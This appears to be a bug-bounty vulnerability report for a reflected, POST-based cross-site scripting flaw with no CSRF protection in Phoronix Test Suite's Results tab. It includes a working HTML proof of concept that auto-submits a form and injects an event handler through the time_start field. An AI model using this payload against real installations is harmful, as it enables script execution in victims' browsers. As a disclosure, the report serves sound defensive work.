Lucene search

K
huntrTuongggA5039485-6E48-4313-98AD-915506C19AE8
HistoryFeb 09, 2022 - 3:48 a.m.

Cross-site Scripting (XSS) - Reflected in phoronix-test-suite/phoronix-test-suite

2022-02-0903:48:52
tuonggg
www.huntr.dev
16
cross-site scripting
reflected
phoronix-test-suite
results tab
vulnerability
bug bounty

EPSS

0.001

Percentile

48.0%

Description

Hi, i found a Reflected XSS vulnerability (POST based XSS + no CSRF token) in phoronix test suite, Results tab.

Proof of Concept

Install a local instance of phoronix
create a Search results form like this:
// PoC.html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8222/?results" method="POST">
      <input type="hidden" name="time_start" value="2022-02-08"onfocus="confirm(origin)"autofocus="" />
      <input type="hidden" name="time_end" value="2022-02-09" />
      <input type="hidden" name="containing_tests" value="testt" />
      <input type="hidden" name="result_limit" value="100" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
//
and send to victim. Victim click on the link resulting reflected cross site scripting.

Impact

This vulnerability is capable of Reflected XSS

EPSS

0.001

Percentile

48.0%

Related for A5039485-6E48-4313-98AD-915506C19AE8